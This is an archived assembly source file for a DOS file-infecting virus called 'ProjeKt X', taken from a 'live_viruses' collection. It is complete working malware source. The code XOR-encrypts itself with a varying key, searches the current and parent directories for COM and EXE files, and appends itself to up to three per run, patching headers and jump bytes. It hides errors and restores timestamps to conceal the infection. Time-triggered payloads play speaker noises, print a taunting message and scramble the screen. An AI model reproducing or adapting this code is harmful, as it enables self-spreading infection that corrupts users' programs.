home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / projektx.asm < prev    next >
Assembly Source File  |  1992-11-27  |  22KB  |  520 lines

  1. ; PROJEKTX.ASM : ProjeKt X 
  2.  
  3. .model tiny                             ; Handy directive
  4. .code                                   ; Virus code segment
  5.           org    100h                   ; COM file starting IP
  6.  
  7. id = 'AI'                               ; ID word for EXE infections
  8. entry_point: db 0e9h,0,0                ; jmp decrypt
  9.  
  10. decrypt:                                ; handles encryption and decryption
  11.           mov  bp,(offset heap - offset startencrypt)/2 ; iterations
  12. patch_startencrypt:
  13.           mov  bx,offset startencrypt   ; start of decryption
  14. decrypt_loop:
  15.           db   2eh,81h,37h            ; xor word ptr cs:[bx], xxxx
  16. decrypt_value dw 0                      ; initialised at zero for null effect
  17.           inc  bx                       ; calculate new decryption location
  18.           inc  bx
  19.           dec  bp                       ; If we are not done, then
  20.           jnz  decrypt_loop             ; decrypt mo'
  21. startencrypt:
  22.           call next                     ; calculate delta offset
  23. next:     pop  bp                       ; bp = IP next
  24.           sub  bp,offset next           ; bp = delta offset
  25.  
  26.           cmp  sp,id                    ; COM or EXE?
  27.           je   restoreEXE
  28. restoreCOM:
  29.           lea  si,[bp+save3]
  30.           mov  di,100h
  31.           push di                       ; For later return
  32.           movsb
  33.           jmp  short restoreEXIT
  34. restoreEXE:
  35.           push ds
  36.           push es
  37.           push cs                       ; DS = CS
  38.           pop  ds
  39.           push cs                       ; ES = CS
  40.           pop  es
  41.           lea  si,[bp+jmpsave2]
  42.           lea  di,[bp+jmpsave]
  43.           movsw
  44.           movsw
  45.           movsw
  46. restoreEXIT:
  47.           movsw
  48.  
  49.           mov  byte ptr [bp+numinfec],3 ; reset infection counter
  50.  
  51.           mov  ah,1Ah                   ; Set new DTA
  52.           lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
  53.           int  21h
  54.  
  55.           mov  ah,47h                   ; Get current directory
  56.           mov  dl,0                     ; Current drive
  57.           lea  si,[bp+origdir]          ; DS:SI->buffer
  58.           int  21h
  59.           mov  byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
  60.  
  61.           mov  ax,3524h                 ; Get int 24 handler
  62.           int  21h                      ; to ES:BX
  63.           mov  word ptr [bp+oldint24],bx; Save it
  64.           mov  word ptr [bp+oldint24+2],es
  65.           mov  ah,25h                   ; Set new int 24 handler
  66.           lea  dx,[bp+offset int24]     ; DS:DX->new handler
  67.           int  21h
  68.           push cs                       ; Restore ES
  69.           pop  es                       ; 'cuz it was changed
  70.  
  71. dir_scan:                               ; "dot dot" traversal
  72.           lea  dx,[bp+exe_mask]
  73.           call infect_mask
  74.           lea  dx,[bp+com_mask]
  75.           call infect_mask
  76.           mov  ah,3bh                   ; change directory
  77.           lea  dx,[bp+dot_dot]          ; "cd .."
  78.           int  21h
  79.           jnc  dir_scan                 ; go back for mo!
  80.  
  81. done_infections:
  82.                 call    get_second
  83.                 cmp     ax,0032h                ; Did the function return 50?
  84.                 jl      skip00                  ; If less, skip effect
  85.                 jmp     short activate_one      ; Success -- skip jump
  86.  
  87. skip00:         
  88.                 call    get_hour
  89.                 cmp     ax,0017h                ; Did the function return 23?
  90.                 jne     skip01                  ; If not equal, skip effect
  91.                 call    get_weekday
  92.                 cmp     ax,0003h                ; Did the function return 3?
  93.                 jne     skip01                  ; If not equal, skip effect
  94.                 jmp     activate_two           ; Success -- skip jump
  95.  
  96. skip01:         jmp exit_virus
  97.  
  98. exit_virus:
  99.           mov  ax,2524h                 ; Restore int 24 handler
  100.           lds  dx,[bp+offset oldint24]  ; to original
  101.           int  21h
  102.           push cs
  103.           pop  ds
  104.  
  105.           mov  ah,3bh                   ; change directory
  106.           lea  dx,[bp+origdir-1]        ; original directory
  107.           int  21h
  108.  
  109.           mov  ah,1ah                   ; restore DTA to default
  110.           mov  dx,80h                   ; DTA in PSP
  111.           cmp  sp,id-4                  ; EXE or COM?
  112.           jz   returnEXE
  113. returnCOM:
  114.           int  21h
  115.           retn                          ; 100h is on stack
  116. returnEXE:
  117.           pop  es
  118.           pop  ds
  119.           int  21h
  120.           mov  ax,es                    ; AX = PSP segment
  121.           add  ax,10h                   ; Adjust for PSP
  122.           add  word ptr cs:[bp+jmpsave+2],ax
  123.           add  ax,word ptr cs:[bp+stacksave+2]
  124.           cli                           ; Clear intrpts for stack manipulation
  125.           mov  sp,word ptr cs:[bp+stacksave]
  126.           mov  ss,ax
  127.           sti
  128.           db   0eah                     ; jmp ssss:oooo
  129. jmpsave             dd ?                ; Original CS:IP
  130. stacksave           dd ?                ; Original SS:SP
  131. jmpsave2            db ?                ; Actually four bytes
  132. save3               db 0cdh,20h,0       ; First 3 bytes of COM file
  133. stacksave2          dd ?
  134.  
  135. activate_one:                               ; Conditions satisfied
  136.                 mov     cx,0003h                ; First argument is 3
  137. new_shot:       push    cx                      ; Save the current count
  138.                 mov     dx,0140h                ; DX holds pitch
  139.                 mov     bx,0100h                ; BX holds shot duration
  140.                 in      al,061h                 ; Read the speaker port
  141.                 and     al,11111100b            ; Turn off the speaker bit
  142. fire_shot:      xor     al,2                    ; Toggle the speaker bit
  143.                 out     061h,al                 ; Write AL to speaker port
  144.                 add     dx,09248h               ;
  145.                 mov     cl,3                    ;
  146.                 ror     dx,cl                   ; Figure out the delay time
  147.                 mov     cx,dx                   ;
  148.                 and     cx,01FFh                ;
  149.                 or      cx,10                   ;
  150. shoot_pause:    loop    shoot_pause             ; Delay a bit
  151.                 dec     bx                      ; Are we done with the shot?
  152.                 jnz     fire_shot               ; If not, pulse the speaker
  153.                 and     al,11111100b            ; Turn off the speaker bit
  154.                 out     061h,al                 ; Write AL to speaker port
  155.                 mov     bx,0002h                ; BX holds delay time (ticks)
  156.                 xor     ah,ah                   ; Get time function
  157.                 int     1Ah                     ; BIOS timer interrupt
  158.                 add     bx,dx                   ; Add current time to delay
  159. shoot_delay:    int     1Ah                     ; Get the time again
  160.                 cmp     dx,bx                   ; Are we done yet?
  161.                 jne     shoot_delay             ; If not, keep checking
  162.                 pop     cx                      ; Restore the count
  163.                 loop    new_shot                ; Do another shot
  164.                 jmp     go_now
  165.  
  166. go_now: 
  167.           mov ax,0003h           ; stick 3 into ax.
  168.           int 10h                ; Set up 80*25, text mode.  Clear the
  169.                                  ; screen, too.
  170.           mov ax,1112h           ; We are gunna use the 8*8 internal
  171.                                  ; font, man.
  172.           int 10h                ; Hey man, call the interrupt.
  173.           mov     ah,09h                  ; Use DOS to print fake error
  174.                                           ; message
  175.           mov     dx,offset fake_msg
  176.           int     21h
  177.           mov ah,4ch            ; Lets ditch.
  178.           int 21h               ; "Make it so."
  179.           jmp  exit_virus
  180.  
  181. activate_two:                      ; First, get current video mode and page.
  182.                mov  cx,0B800h      ;color display, color video mem for page 1
  183.                mov  ah,15          ;Get current video mode
  184.                int  10h
  185.                cmp  al,2           ;Color?
  186.                je   A2             ;Yes
  187.                cmp  al,3           ;Color?
  188.                je   A2             ;Yes
  189.                cmp  al,7           ;Mono?
  190.                je   A1             ;Yes
  191.                int  20h            ;No,quit
  192.  
  193.                                    ;here if 80 col text mode; put video segment in ds.
  194. A1:            mov  cx,0A300h      ;Set for mono; mono videomem for page 1
  195. A2:            mov  bl,0           ;bx=page offset
  196.                add  cx,bx          ;Video segment
  197.                mov  ds,cx          ;in ds
  198.  
  199.                                    ;start dropsy effect
  200.                xor  bx,bx          ;Start at top left corner
  201. A3:            push bx             ;Save row start on stack
  202.                mov  bp,80          ;Reset column counter
  203.                                    ;Do next column in a row.
  204. A4:            mov  si,bx          ;Set row top in si
  205.                mov  ax,[si]        ;Get char & attr from screen
  206.                cmp  al,20h         ;Is it a blank?
  207.                je   A7             ;Yes, skip it
  208.                mov  dx,ax          ;No, save it in dx
  209.                mov  al,20h         ;Make it a space
  210.                mov  [si],ax        ;and put on screen
  211.                add  si,160         ;Set for next row
  212.                mov  di,cs:Row      ;Get rows remaining
  213. A5:            mov  ax,[si]        ;Get the char & attr from screen
  214.                mov  [si],dx        ;Put top row char & attr there
  215. A6:            call Vert           ;Wait for 2 vert retraces
  216.                mov  [si],ax        ;Put original char & attr back
  217.                                    ;Do next row, this column.
  218.               add  si,160          ;Next row
  219.               dec  di              ;Done all rows remaining?
  220.               jne  A5              ;No, do next one
  221.               mov  [si-160],dx     ;Put char & attr on line 25 as junk
  222.                                    ;Do next column on this row.
  223. A7:           add  bx,2            ;Next column, same row
  224.               dec  bp              ;Dec column counter; done?
  225.               jne  A4              ;No, do this column
  226. ;Do next row.
  227. A8:           pop  bx              ;Get current row start
  228.               add  bx,160          ;Next row
  229.               dec  cs:Row          ;All rows done?
  230.               jne  A3              ;No
  231. A9:           mov  ax,4C00h  
  232.               int  21h             ;Yes, quit to DOS with error code
  233.  
  234.                                    ;routine to deal with snow on CGA screen.
  235. Vert:         push ax
  236.               push dx
  237.               push cx              ;Save all registers used
  238.               mov  cl,2            ;Wait for 2 vert retraces
  239.               mov  dx,3DAh         ;CRT status port
  240. F1:           in   al,dx           ;Read status
  241.               test al,8            ;Vert retrace went hi?
  242.               je   F1              ;No, wait for it
  243.               dec  cl              ;2nd one?
  244.               je   F3              ;Yes, write during blanking time
  245. F2:           in   al,dx           ;No, get status
  246.               test al,8            ;Vert retrace went low?
  247.               jne  F2              ;No, wait for it
  248.               jmp  F1              ;Yes, wait for next hi
  249. F3:           pop  cx
  250.               pop  dx
  251.               pop  ax              ;Restore registers
  252.               ret
  253.               jmp exit_virus
  254.  
  255. get_weekday     proc    near
  256.                 mov     ah,02Ah                 ; DOS get date function
  257.                 int     021h
  258.                 cbw                             ; Sign-extend AL into AX
  259.                 ret                             ; Return to caller
  260. get_weekday     endp
  261.  
  262. get_day         proc    near
  263.                 mov     ah,02Ah                 ; DOS get date function
  264.                 int     021h
  265.                 mov     al,dl                   ; Copy day into AL
  266.                 cbw                             ; Sign-extend AL into AX
  267.                 ret                             ; Return to caller
  268. get_day         endp
  269.  
  270. get_hour        proc    near
  271.                 mov     ah,02Ch                 ; DOS get time function
  272.                 int     021h
  273.                 mov     al,ch                   ; Copy hour into AL
  274.                 cbw                             ; Sign-extend AL into AX
  275.                 ret                             ; Return to caller
  276. get_hour        endp
  277.  
  278. get_minute      proc    near
  279.                 mov     ah,02Ch                 ; DOS get time function
  280.                 int     021h
  281.                 mov     al,cl                   ; Copy minute into AL
  282.                 cbw                             ; Sign-extend AL into AX
  283.                 ret                             ; Return to caller
  284. get_minute      endp
  285.  
  286. get_second      proc    near
  287.                 mov     ah,02Ch                 ; DOS get time function
  288.                 int     021h
  289.                 mov     al,dh                   ; Copy second into AL
  290.                 cbw                             ; Sign-extend AL into AX
  291.                 ret                             ; Return to caller
  292. get_second      endp
  293.  
  294. note            db '[ProjeKt X]',0    
  295.  
  296. infect_mask:
  297.           mov  ah,4eh                   ; find first file
  298.           mov  cx,7                     ; any attribute
  299. findfirstnext:
  300.           int  21h                      ; DS:DX points to mask
  301.           jc   exit_infect_mask         ; No mo files found
  302.  
  303.           mov  al,0h                    ; Open read only
  304.           call open
  305.  
  306.           mov  ah,3fh                   ; Read file to buffer
  307.           lea  dx,[bp+buffer]           ; @ DS:DX
  308.           mov  cx,1Ah                   ; 1Ah bytes
  309.           int  21h
  310.  
  311.           mov  ah,3eh                   ; Close file
  312.           int  21h
  313.  
  314.           cmp  word ptr [bp+buffer],'ZM'; EXE?
  315.           jz   checkEXE                 ; Why yes, yes it is!
  316. checkCOM:
  317.           mov  ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
  318.           cmp  ax,3230                  ; Is it too small?
  319.           jb   find_next
  320.  
  321.           cmp  ax,65535-(endheap-decrypt) ; Is it too large?
  322.           ja   find_next
  323.  
  324.           mov  bx,word ptr [bp+buffer+1]; get jmp location
  325.           add  bx,heap-decrypt+3        ; Adjust for virus size
  326.           cmp  ax,bx
  327.           je   find_next                ; already infected
  328.           jmp  infect_com
  329. checkEXE: cmp  word ptr [bp+buffer+10h],id ; is it already infected?
  330.           jnz  infect_exe
  331. find_next:
  332.           mov  ah,4fh                   ; find next file
  333.           jmp  short findfirstnext
  334. exit_infect_mask: ret
  335.  
  336. infect_exe:
  337.           les  ax, dword ptr [bp+buffer+14h] ; Save old entry point
  338.           mov  word ptr [bp+jmpsave2], ax
  339.           mov  word ptr [bp+jmpsave2+2], es
  340.  
  341.           les  ax, dword ptr [bp+buffer+0Eh] ; Save old stack
  342.           mov  word ptr [bp+stacksave2], es
  343.           mov  word ptr [bp+stacksave2+2], ax
  344.  
  345.           mov  ax, word ptr [bp+buffer + 8] ; Get header size
  346.           mov  cl, 4                    ; convert to bytes
  347.           shl  ax, cl
  348.           xchg ax, bx
  349.  
  350.           les  ax, [bp+offset newDTA+26]; Get file size
  351.           mov  dx, es                   ; to DX:AX
  352.           push ax
  353.           push dx
  354.  
  355.           sub  ax, bx                   ; Subtract header size from
  356.           sbb  dx, 0                    ; file size
  357.  
  358.           mov  cx, 10h                  ; Convert to segment:offset
  359.           div  cx                       ; form
  360.  
  361.           mov  word ptr [bp+buffer+14h], dx ; New entry point
  362.           mov  word ptr [bp+buffer+16h], ax
  363.  
  364.           mov  word ptr [bp+buffer+0Eh], ax ; and stack
  365.           mov  word ptr [bp+buffer+10h], id
  366.  
  367.           pop  dx                       ; get file length
  368.           pop  ax
  369.  
  370.           add  ax, heap-decrypt         ; add virus size
  371.           adc  dx, 0
  372.  
  373.           mov  cl, 9
  374.           push ax
  375.           shr  ax, cl
  376.           ror  dx, cl
  377.           stc
  378.           adc  dx, ax
  379.           pop  ax
  380.           and  ah, 1                    ; mod 512
  381.  
  382.           mov  word ptr [bp+buffer+4], dx ; new file size
  383.           mov  word ptr [bp+buffer+2], ax
  384.  
  385.           push cs                       ; restore ES
  386.           pop  es
  387.  
  388.           push word ptr [bp+buffer+14h] ; needed later
  389.           mov  cx, 1ah
  390.           jmp  short finishinfection
  391. infect_com:                             ; ax = filesize
  392.           mov  cx,3
  393.           sub  ax,cx
  394.           lea  si,[bp+offset buffer]
  395.           lea  di,[bp+offset save3]
  396.           movsw
  397.           movsb
  398.           mov  byte ptr [si-3],0e9h
  399.           mov  word ptr [si-2],ax
  400.           add  ax,103h
  401.           push ax                       ; needed later
  402. finishinfection:
  403.           push cx                       ; Save # bytes to write
  404.           xor  cx,cx                    ; Clear attributes
  405.           call attributes               ; Set file attributes
  406.  
  407.           mov  al,2
  408.           call open
  409.  
  410.           mov  ah,40h                   ; Write to file
  411.           lea  dx,[bp+buffer]           ; Write from buffer
  412.           pop  cx                       ; cx bytes
  413.           int  21h
  414.  
  415.           mov  ax,4202h                 ; Move file pointer
  416.           xor  cx,cx                    ; to end of file
  417.           cwd                           ; xor dx,dx
  418.           int  21h
  419.  
  420. get_encrypt_value:
  421.           mov  ah,2ch                   ; Get current time
  422.           int  21h                      ; dh=sec,dl=1/100 sec
  423.           or  dx,dx                     ; Check if encryption value = 0
  424.           jz  get_encrypt_value         ; Get another if it is
  425.           mov  [bp+decrypt_value],dx    ; Set new encryption value
  426.           lea  di,[bp+code_store]
  427.           mov  ax,5355h                 ; push bp,push bx
  428.           stosw
  429.           lea  si,[bp+decrypt]          ; Copy encryption function
  430.           mov  cx,startencrypt-decrypt  ; Bytes to move
  431.           push si                       ; Save for later use
  432.           push cx
  433.           rep  movsb
  434.  
  435.           lea    si,[bp+write]          ; Copy writing function
  436.           mov    cx,endwrite-write      ; Bytes to move
  437.           rep    movsb
  438.           pop    cx
  439.           pop    si
  440.           pop    dx                     ; Entry point of virus
  441.           push   di
  442.           push   si
  443.           push   cx
  444.           rep    movsb                  ; Copy decryption function
  445.           mov    ax,5b5dh               ; pop bx,pop bp
  446.           stosw
  447.           mov    al,0c3h                ; retn
  448.           stosb
  449.  
  450.           add    dx,offset startencrypt - offset decrypt ; Calculate new
  451.           mov    word ptr [bp+patch_startencrypt+1],dx ; starting offset of
  452.           call   code_store             ; decryption
  453.           pop    cx
  454.           pop    di
  455.           pop    si
  456.           rep    movsb                  ; Restore decryption function
  457.  
  458.           mov  ax,5701h                 ; Restore creation date/time
  459.           mov  cx,word ptr [bp+newDTA+16h] ; time
  460.           mov  dx,word ptr [bp+newDTA+18h] ; date
  461.           int  21h
  462.  
  463.           mov  ah,3eh                   ; Close file
  464.           int  21h
  465.  
  466.           mov ch,0
  467.           mov cl,byte ptr [bp+newDTA+15h] ; Restore original
  468.           call attributes               ; attributes
  469.  
  470.           dec  byte ptr [bp+numinfec]   ; One mo infection
  471.           jnz  mo_infections            ; Not enough
  472.           pop  ax                       ; remove call from stack
  473.           jmp  done_infections
  474. mo_infections: jmp find_next
  475.  
  476. open:
  477.           mov  ah,3dh
  478.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  479.           int  21h
  480.           xchg ax,bx
  481.           ret
  482.  
  483. attributes:
  484.           mov  ax,4301h                 ; Set attributes to cx
  485.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  486.           int  21h
  487.           ret
  488.  
  489. write:
  490.           pop  bx                       ; Restore file handle
  491.           pop  bp                       ; Restore relativeness
  492.           mov  ah,40h                   ; Write to file
  493.           lea  dx,[bp+decrypt]          ; Concatenate virus
  494.           mov  cx,heap-decrypt          ; # bytes to write
  495.           int  21h
  496.           push bx
  497.           push bp
  498. endwrite:
  499.  
  500. int24:                                  ; New int 24h (error) handler
  501.           mov  al,3                     ; Fail call
  502.           iret                          ; Return control
  503.  
  504. exe_mask            db '*.exe',0
  505. com_mask            db '*.com',0
  506. dot_dot             db '..',0
  507. heap:                                   ; Variables not in code
  508. ; The following code is the buffer for the write function
  509. code_store:         db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
  510. oldint24            dd ?                ; Storage for old int 24h handler      
  511. backslash           db ?
  512. fake_msg            db "If YOU can be a half-wit, so can I!!$"
  513. Row                 dw 24
  514. origdir             db 64 dup (?)       ; Current directory buffer             
  515. newDTA              db 43 dup (?)       ; Temporary DTA                        
  516. numinfec            db ?                ; Infections this run                  
  517. buffer              db 1ah dup (?)      ; read buffer                          
  518. endheap:                                ; End of virus
  519. end       entry_point
  520.